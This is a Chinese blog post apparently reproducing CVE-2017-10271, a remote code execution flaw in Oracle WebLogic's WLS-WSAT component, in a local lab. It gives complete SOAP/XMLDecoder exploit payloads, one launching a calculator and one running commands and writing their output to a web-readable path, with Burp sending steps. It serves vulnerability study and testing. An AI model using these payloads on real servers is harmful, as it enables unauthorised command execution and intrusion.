美文网首页
WebLogic WLS组件漏洞复现

WebLogic WLS组件漏洞复现

作者: 二潘 | 来源:发表于2018-01-06 14:48 被阅读426次

今天偶然看到WebLogic WLS组件存在漏洞,本地搭建环境测试一下,复现报告只保证本人可以看懂

分隔符———————————————————————————————

1、环境的准备

  • 漏洞的编号

  • CVE-2017-10271

  • 漏洞存在的版本

  • 10.3.6.0.0

  • 12.1.3.0.0

  • 12.2.1.1.0

  • 12.2.1.2.0

本地复现版本为:10.3.6.0.0

提供下载地址:

抓包工具:burpsuite

2、漏洞复现环境搭建

靶机:Windows Server 2008 R2 x64
攻击机:物理机

3.1 环境的配置

3.1.1 安装JDK:

image

3.1.2 安装WebLogic:

不勾选 “我希望通过My Oracle Support接收安全更新"

image

设置管理员用户名和口令(weblogic\weblogic888)

image

选择生产模式

image

若安装选择的默认路径与默认域名,在如下路径中运行

C:\Oracle\Middleware\user_projects\domains\base_domain\WebLogic.cmd
image

此时访问:http://127.0.0.1:7001/wls-wsat/CoordinatorPortType

出现下面这个页面。,说明已经安装成功

image

3、漏洞利用poc

<soapenv:Envelope     xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
       <work:WorkContext    xmlns:work="http://bea.com/2004/06/soap/workarea/">
           <java      version="1.8" class="java.beans.XMLDecoder">
               <void     class="java.lang.ProcessBuilder">
                    <array    class="java.lang.String" length="3">
                        <void     index="0">
                           <string>calc</string>
                        </void>
                        <void     index="1">
                            <string></string>
                        </void>
                        <void     index="2">
                            <string> </string>
                        </void>
                    </array>
                <void     method="start"/></void>
           </java>
       </work:WorkContext>
   </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

4、漏洞利用过程

使用攻击机访问靶机的WLS组件,并用burp把包拦截下来:
使用post方法发送上述POC,并添加Content-Type:text/xml,把Cache-Control修改为no-cache

图片.png

返回的状态码为500:

FO.png

返回去计算器已经弹出来了

5C.png

接下来说一下命令回显的一个小方法。但是有前提的。前提是足够写入权限。

可以通过执行命令的方式进行一个回显。如Windows下的命令:ipconfig >> c:\1.txt 就可以将ipconfig的结果存放到了c:\1.txt下。我们也可以如此。接下来修改下POC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="5">
                       <void index="0">
                        <string>cmd</string>
                    </void>
                     <void index="1">
                        <string>/c</string>
                    </void>    
                     <void index="2">
                        <string>ipconfig</string>
                    </void>        
                     <void index="3">
                        <string>>></string>
                    </void>    
                     <void index="4">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt</string>
                    </void>        
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>

注意:在<array class="java.lang.String" length="5">这里的长度需要对照着下边所传的参数填写。array内的void有多少个那么长度就为多少。还有void内的index是从0开始填写。输出的路径为上面所填写即直接输出到了weblogic对应目录下了。以上组成的命令就是为:cmd /c ipconfig >> C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\wls-wsat,可以测试一下:

4C1B.png

https://127.0.0.1:7001/wls-wsat/ipconfig.txt

相关文章

网友评论

      本文标题:WebLogic WLS组件漏洞复现

      本文链接:https://www.haomeiwen.com/subject/vqjynxtx.html